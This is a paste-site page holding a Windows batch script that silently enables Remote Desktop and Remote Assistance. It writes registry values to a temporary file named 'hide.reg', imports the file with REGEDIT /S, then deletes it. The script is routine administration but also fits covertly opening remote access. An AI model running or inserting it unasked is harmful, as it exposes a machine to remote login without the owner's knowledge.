Public feed #889089

Someone

public text v1 · immutable
Raw Edit
·published 2008-02-02 17:42 UTC
rendered paste body
@echo off
echo **********************************************************************
echo *´                                                                  `*
echo *                                         Terminal Service Starter   *
echo *                                         ========================   *
echo *   [*] Enabling RDP via DOS ...                                     *

echo *   [*] Building REGKEY (fDenyTSConnections)                         *
echo Windows Registry Editor Version 5.00> c:\hide.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\hide.reg
echo "fDenyTSConnections"=dword:00000000>> c:\hide.reg
REGEDIT /S c:\hide.REG
echo *   [*] REGKEY Added                                                 *
DEL /Q c:\hide.REG

echo *   [*] Building REGKEY (AllowTSConnections)                         *
echo Windows Registry Editor Version 5.00> c:\hide.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\hide.reg 
echo "AllowTSConnections"=dword:00000001>> c:\hide.reg 
REGEDIT /S c:\hide.REG 
echo *   [*] REGKEY Added                                                 * 
DEL /Q c:\hide.REG  
 
echo *   [*] Building REGKEY (fAllowToGetHelp)                            * 
echo Windows Registry Editor Version 5.00> c:\hide.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>> c:\hide.reg
echo "fAllowToGetHelp"=dword:00000001>> c:\hide.reg
REGEDIT /S c:\hide.REG
echo *   [*] REGKEY Added                                                 *
DEL /Q c:\hide.REG

echo *                                                                    *
echo *   [*] Terminal Service Started!                                    *
echo *.                                                                  .*
echo **********************************************************************